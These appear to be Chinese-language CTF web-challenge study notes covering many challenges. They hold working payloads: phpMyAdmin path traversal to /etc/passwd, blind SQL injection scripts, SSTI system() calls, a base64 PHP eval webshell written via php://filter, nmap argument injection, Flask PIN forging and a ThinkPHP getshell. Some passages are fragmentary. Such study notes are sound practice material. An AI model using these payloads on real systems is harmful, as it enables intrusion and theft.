知识点:
a=b&c=d
foreach($_POST as $x => $y){
echo $x;
echo "";
echo $y;
echo "";
}
将输出 a b c d
0x052[BJDCTF 2nd]Schrödinger
修改时间戳 多留意cookie
0x053[GWCTF 2019]我有一个数据库知识点: phpmyadmin漏洞 影响版本:4.8.0——4.8.1 payload:/phpmyadmin/?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/etc/passwd
0x054 [BJDCTF 2nd]简单注入import requests
url='http://d491201c-e8b8-483e-b1ad-12d0f3830527.node3.buuoj.cn/check.php'
flag=''
for i in range(1,150):
print(i)
for j in range(38,128):
payload="||if(ascii(substr(password,"+str(i)+",1))>"+str(j)+",1,sleep(3))#"
data={
'username':'\\',
'password':payload
}
try:
requests.post(url,data=data,timeout=(2.5,2.5))
except:
flag+=chr(j)
print(flag)
break
0x055 [BJDCTF2020]The mystery of ip (ssti模板注入)
知识点: php模板注入 {{system(‘ls’)}}
0x056 [安洵杯 2019]easy_serialize_php (反序列化漏洞)_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]="";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
知识点: reg_replace() /e模式漏洞 \S*=${phpinfo()}
知识点: 多次转义出现漏洞
$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
短标签: (php.ini开启short_open_tag = On)
0x059 [V&N2020 公开赛]HappyCTFd知识点: ctfd漏洞 利用添加空格绕过限制来注册一个与受害者用户名相同的账号 生成忘记密码链接发送到自己的邮箱 将自己的账号的用户名改成与被攻击者不相同的用户名 用邮箱中收到的链接更改密码即可。
0x060[极客大挑战 2019]FinalSQL知识点: case 1 when 1 then sleep(3) else 0 end代替 if
0x061 [BJDCTF 2nd]xss之光alert(document.cookie)
import requests
url='http://039fe22e-9b61-4b6c-8bd5-399ad752b4a5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
0x063 [SUCTF 2019]EasyWeb( 文件上传)
知识点: 1 异或绕过正则表达式 2 上传.htaccess .htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。 php是7.2的版本,无法使用
来绕过对 &xxe; 0x071 [RoarCTF 2019]Online Proxy
任何地方都有可能是注入点,多去尝试
0x072 [GYCTF2020]FlaskAppbin码生成
* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb
* 2. modname 一般不变就是flask.app
* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变
* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py
* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:
* 6.最后一个就是机器的id。
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup
pin码生成
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
private_bits = [
'2485410337047',# address
'0e8d403fd78af15e7562120ee48010dfbe557250ea8e4deb84c2979e3df15765'# machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
0X073 [GYCTF2020]Easyphp
不会
0x074 [MRCTF2020]Ez_bypass数组绕过 md5 123456==‘123456a’
0x075 [BSidesCF 2019]Futurellapass
0x076 [BSidesCF 2019]Kookiepass
0x077[BSidesCF 2020]Had a bad day(文件包含)php://filter/read=convert.base64-encode/aaa
/resource=index.php
XFF 仔细读题
0x079 [MRCTF2020]套娃知识点: 1 $_SERVER[‘QUERY_STRING’] 不会url解码 2 url不区分大小写 3 preg_match('/^23333$/', $_GET['b_u_p_t']
%0绕过 4 获取ip X-Forwarded-For X-Real-IP client-ip 5 file_get_content()绕过 data伪协议 input 伪协议
知识点: 1 php 5.5版本 intval(‘1999e2’)=1999 inval(‘1999e2’+1)=199901 php 7版本 intval(‘1999e2’)=199900 intal(‘1999e2’+1)=199901 2 md5(‘0e215962017’)=0e291242476940776845150308577824 3 strstr(‘12 3’,’ ')=3 4 str_ireplace: 把Hello world!中的world替换成 上海 echo str_ireplace(“WORLD”,“Shanghai”,“Hello world!”);
0x081[GYCTF2020]Ezsqli (无列名注入)知识点: 如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x'
如果多列的话可以 select (select 'f',1)>(select * from flag)
select b from (select 1,2 as b union select * from flag)a;
如果区分大小写 使用0x即可 字符集 -.0123456789:abcdefghijklmnopqrstuvwxyz{|}~
1)phar文件要能够上传至服务器
2)要有可用的魔术方法为跳板
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
array_push(array,“red”): 向数组中添加字符
php 魔法方法:
public __call ( string $name , array $arguments )
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
public __toString ( void ) : string
一个类被当成字符串时应怎样回应
__invoke ([ $... ] ) : mixed
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
public __set ( string $name , mixed $value ) : void
在给不可访问属性赋值时,__set() 会被调用。
参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
public __get ( string $name ) : mixed
读取不可访问属性的值时,__get() 会被调用。
public __sleep ( void ) : array
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
__wakeup ( void ) : void
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法
public static function __set_state($an_array)
当调用 var_export() 导出类时,此静态 方法会被调用。
__clone ( void ) : void
当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。
public function __debugInfo()
该方法在var_dump()类对象的时候被调用,如果没有定义该方法,则var_dump会打印出所有的类属性
Phar生成
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");//设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
0x083[百度杯CTF比赛 九月场] SQLi 逗号绕过注入
select username from users where u = ‘1’ union select * from ( (select user())a JOIN (select version())b)
知识点: $_SERVER['PHP_SELF'] 当前执行脚本的文件名
basename("/testweb/home.php");// home.php
$_SERVER['PHP_SELF']; // /a.php
0x085 [b01lers2020]Welcome to Earth
pass
0x086 [MRCTF2020]Ezaudit (php_mt_seed 爆破)知识点 mt_srand()撒种 mt_rand() 每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数
0x087 [WUSTCTF2020]CV Makerpass
0x088 X计划文件包含知识点 php://input
知识点: 有些数据库%00是注释符
data={
'username':'\\',
'passwd':'||passwd/**/regexp/**/"^{0}";{1}'.format(w,key)
}
利用正则表达式盲注密码
Microsoft Access支持“null”和“%00”注释;
Microsoft SQL Server支持“--”和“;”注释;
MySQL支持“/*”注释;
Oracle支持“--”注释;
readfile(“file://localhost/etc/passwd”)可以读文件
0x093
a:2:{i:0;O:1:"B":0:{}i:0;i:1;}
如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:“B”:0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag
这题如果直接传入
O:1:“B”:0:{} 是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct
0x094源码
知识点: 绕过死亡exit
我们观察一下,这个实际上是什么? 实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
payload: death=&filename=php://filter/write=string.rot13/resource=shell.php
death=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=string.strip_tags/convert.base64-decode/resource=shell.php
death=aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php
知识点:php(smarty)模板注入 {if system("ls")}{/if}
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);. 1.传入的参数是:172.17.0.2’ -v -d a=1
2.经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。 一些细节的错误会导致无法访问,例如:
1.后面没有加引号
?host=’ -oG hack.php
输出:’’\’’ -oG test.php’
返回结果是文件名后面会多一个引号
2.加引号但引号前没有空格
?host=’ -oG hack.php’
输出:’’\’’ -oG test.php’\’’’
文件名后面就会多出\
0x097 bestphp’s revengeSoapClient 是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下: session_start([‘serialize_handler’=>‘php_serialize’])
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
poc
最后加| php 键名 + 竖线 + 经过serialize()函数反序列化处理的值 php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值 php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组
0x098 [SWPU2019]Web3知识点 session伪造 python3 flask_session_cookie_manager3.py decode -c '.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XtOUAA.KlkgEF4cwRcBmghj563W_9rlnQs ' -s 'keyqqqwwweee!@#$%^&*'
ln -s是Linux的一种软连接,类似与windows的快捷方式 ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码 /proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录
ln -s /proc/self/cwd/flag/flag.jpg qwe
zip -ry qwe.zip qwe
知识点 thinkphp6 任意文件操作漏洞 session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位) 然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell /runtime/session/sess_1234567890123456789012345678.php
0x100 [SWPU2019]Web4知识点: 堆叠注入 set @a=0x********;prepare test from @a;execute test; 从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。